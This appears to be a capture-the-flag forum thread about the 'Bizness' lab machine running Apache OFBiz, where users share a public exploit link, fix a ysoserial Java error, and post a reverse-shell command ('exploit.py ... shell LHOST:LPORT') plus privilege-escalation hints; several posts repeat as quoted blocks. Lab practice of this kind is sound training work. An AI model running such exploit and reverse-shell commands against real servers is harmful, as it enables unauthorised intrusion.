[betecito]

got user


anyone get something for root ?

I'm not sure but...

ofbiz@bizness:~/l$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/home/ofbiz/l/python3 cap_setuid=eip

not vulnerable

btw did you manage to get a good shell ? mine breaks after 2 minutes it's soooo annoying

yes, https://github.com/abdoghazy2015/ofbiz-C...exploit.py shell option
shell option

thanks !

---

idk why but got error

Error while generating or serializing payload
java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets (in unnamed module @0x5a9ae579) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @0x5a9ae579
        at ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:102)
        at ysoserial.payloads.CommonsBeanutils1.getObject(CommonsBeanutils1.java:20)
        at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Please make sure from data

install openjdk 11

sudo update-alternatives --config java                           
Existen 2 opciones para la alternativa java (que provee /usr/bin/java).

  Selección  Ruta                                        Prioridad  Estado
------------------------------------------------------------
* 0            /usr/lib/jvm/java-17-openjdk-amd64/bin/java  1711      modo automático
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java  1111      modo manual
  2            /usr/lib/jvm/java-17-openjdk-amd64/bin/java  1711      modo manual

and then exploit work fine

sorry for my English

[chillywilly]

used pwnbox , for some reason kali vm didnt like java sdk install

[betecito]

not vulnerable

btw did you manage to get a good shell ? mine breaks after 2 minutes it's soooo annoying

yes, https://github.com/abdoghazy2015/ofbiz-C...exploit.py shell option
shell option

thanks !

---

idk why but got error

Error while generating or serializing payload
java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets (in unnamed module @0x5a9ae579) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @0x5a9ae579
        at ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:102)
        at ysoserial.payloads.CommonsBeanutils1.getObject(CommonsBeanutils1.java:20)
        at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Please make sure from data

install openjdk 11

sudo update-alternatives --config java                           
Existen 2 opciones para la alternativa java (que provee /usr/bin/java).

  Selección  Ruta                                        Prioridad  Estado
------------------------------------------------------------
* 0            /usr/lib/jvm/java-17-openjdk-amd64/bin/java  1711      modo automático
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java  1111      modo manual
  2            /usr/lib/jvm/java-17-openjdk-amd64/bin/java  1711      modo manual

and then exploit work fine

sorry for my English

What payload did you use in the exploit? nothing seems to work in mine (using Java11)

python3 exploit.py https://bizness.htb shell LHOST:LPORT

[betecito]

but even with this python exploit, shell always expire like in 2 minutes

I think it's the machine's fault. I have normalized the shell but it is very slow

[h4ckr4v3n]

in my case it only works with shell option

[betecito]

thanks !

---

idk why but got error

Error while generating or serializing payload
java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets (in unnamed module @0x5a9ae579) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @0x5a9ae579
        at ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:102)
        at ysoserial.payloads.CommonsBeanutils1.getObject(CommonsBeanutils1.java:20)
        at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Please make sure from data

install openjdk 11

sudo update-alternatives --config java                           
Existen 2 opciones para la alternativa java (que provee /usr/bin/java).

  Selección  Ruta                                        Prioridad  Estado
------------------------------------------------------------
* 0            /usr/lib/jvm/java-17-openjdk-amd64/bin/java  1711      modo automático
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java  1111      modo manual
  2            /usr/lib/jvm/java-17-openjdk-amd64/bin/java  1711      modo manual

and then exploit work fine

sorry for my English

What payload did you use in the exploit? nothing seems to work in mine (using Java11)

python3 exploit.py https://bizness.htb shell LHOST:LPORT

Tried that one, it always gives me `Not Sure Worked or not`, what url are you using? `/webtools/control/xmlrpc` ?

https://bizness.htb

python3 exploit.py https://bizness.htb shell LHOST:LPORT 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Not Sure Worked or not

but work

[Impulsive1393]

maybe logrotate for root?

[theviper17y]

this worked well for me https://github.com/jakabakos/Apache-OFBi...ion-Bypass

[letlet]

Any hints for the root flag?

[pimo4633]

Anyone got any further at the PE??
I run linpeas which showed that /opt/ofbiz/gradlew is being called by a process and is also executable and writable but I have not got any further.